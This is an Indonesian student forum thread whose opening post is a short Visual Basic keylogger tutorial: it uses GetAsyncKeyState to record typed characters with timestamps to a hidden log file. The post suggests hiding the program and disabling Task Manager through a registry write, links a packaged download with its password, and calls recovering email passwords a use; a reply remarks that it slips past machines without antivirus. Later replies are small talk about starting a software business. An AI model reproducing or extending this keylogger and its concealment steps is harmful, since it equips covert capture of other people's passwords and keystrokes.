STEKOM Semarang

langsung saja tanpa bahasa basi,biar gak basi ok:>
pertama-tama tambahkan module, project add module save as aa.bas
isikan dengan
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
kedua di from nya view->code ketik spt ini
rem ===============
Public n As Integer, tmp As String //memesan memori
Private Sub cmdkeluar_Click() //tombol keluar
Close #1 //tutup file kbp-062.txt
End // go out
End Sub

Private Sub cmdok_Click()
Me.Cls //bersihkan
tmp = "" //var tmp dibuat nol
End Sub

Private Sub Form_Load()
Open App.Path & "\kbp-062.txt" For Append As #1 //bukak ato ciptakan file sbg penambahan
tmp = "" // set tmp=""
End Sub //out
Private Sub Timer1_Timer()
Call cap //fungsi utama

End Sub

Sub cap()
For n = 32 To 126
// mendeteksi huruf dan abjad serta spasi, sayang enter lupa dimasukin :>, kalo mo lengkap tinggal n=0 to 255
If GetAsyncKeyState(n) <> GetAsyncKeyState(n) Then 'h Then
// jika kembalian 0 berarti tidak sedang ditekan kalo 1 berarti ditekan
tmp = tmp + Chr(n): Print tmp
// isi variabel tmp
If Len(tmp) = 100 Then
// jika hurufnya sudah sampe 100 simpan ke file
Write #1, vbCrLf & vbCrLf & "[ " & Date & ", " & Time() & " ]" & vbCrLf & tmp
tmp = "" // set tmp=""
End If
End If
Next

End Sub
rem ================
// compile jalankan, trus ngetik sesuatu sampe 250 huruf habis itu liat ada file kbp62.txt berisi smua yang kita ketikkan,selamat mencoba

kegunaan:
1.misal untuk ngecek seberapa cepat pengetikan kita
2.misal kalo kita sering lupa sama password email kita, jadi kita bisa lihat di file log kita
ketidakgunaan
1.semoga nggak ada :>
kelebihan:
barisnya sedikit gak beratus2,
kelemahan:
semua ditampilkan ke huruf besar :<
terdeteksi sebagai malware :<
minim fasilitas :<, ya betul karena cuman sebagai simulasi ( contoh ) saja,sebenarnya bagaimana sih cara membuat penangkap keyboard, di vb sendiri sudah ada form_keypress, if keyascii=13 then txtgatot.setfocus <<-- masih ingat ??....
tapi itu hanya sebatas dalam form kalo formnya gak aktif gak isa
jadi kita pake fungsi API, DAN ternyata untk membuat program spt itu (k*******r) tidaklah perlu beratus ratus baris, cukup kurang dari 20 baris pun bisa :>, memang program asli beratus2 baris jadi kalo kita mo mempelajari sulit ruwet dan akhirnya gak jadi buat karena gak ngerti maksudnya, tapi kalo kita buat 10-20 baris orang jadi faham, dan bisa dikembangin sendiri
misal ditambah app.taskvisible=true trus juga ditambah mattin taskmanager,regedit dst
// createobject("wscript.shell").write "hkey_local_machine...\disabletaskmgr",1 dst :>

kalo gak mau susah2 ngetik tinggal download aja di geocities.com/bejita49/mei/kunci.zip pass:kbp62
kompile trus jalanin :>


kalo ada kesulitan, pelajari lagi sampe faham, bukak jobsheet2 vb yang diberikan dosen

semoga berhasil !!!!!

Wan anak stekom pinter pinter

nice tutor

Asal tidak untuk mencatat password login ya...
Kalo g ada av bisa lewat dengan mulus tuh...

Btw, mas silahkan kontak via PM aku untuk bikin forum "Bikin av sendiri" anda momodnya kalo anda mau... gimana? tertarik. Tapi, tentunya baca syarat-syarat dahuku untuk jadi momod y... ok qtunggu.

Wah bakalan ada calon momod baru nih. canggih oeyy bisa bikin antivirus nih. kembangin terus entar kita bisa gabung bikin rumah software. saat ini aku masih pegang web dan rencananya aku mo lounching CV bersama temanku di bulan ini. doain ya

CV nya udah di launching belum?.....
ngundang bintang tamu nggak?...

rumah software yah..... bagus juga tuh.... aslinya aku juga pingin gabung rumah software, tapi aku lom berani, soalnya gak tau program asli tu seperti apa, dan juga di kampus kita pelajaranya gak sekalian diselesaiin, tapi setengah setengah, sekarang vb part 1, semester besok vb part 2, besoknya lagi vb part 2,,,,
jadi udah bisa vb ato delphi kalo dah mo lulus, kelamaan... tapi kalo leh gabung, bisa juga tuh.... /me siap walaupun alakadarnya

Saat ini aku masih ada masalah dengan CV. Ada perbedaan persepsi dengan pemilik CV maklum pemilik CVnya bukan Orang IT tapi trading background. jadi masih simpang siur soal CVnya.
Akhirnya sementara ini aku jalan sendiri.
Yang paleing penting untuk bikin rumah software adalah jiwa sellingnya.
kalo kita bisa menguasai pasar programer bisa kita sewa dari luar.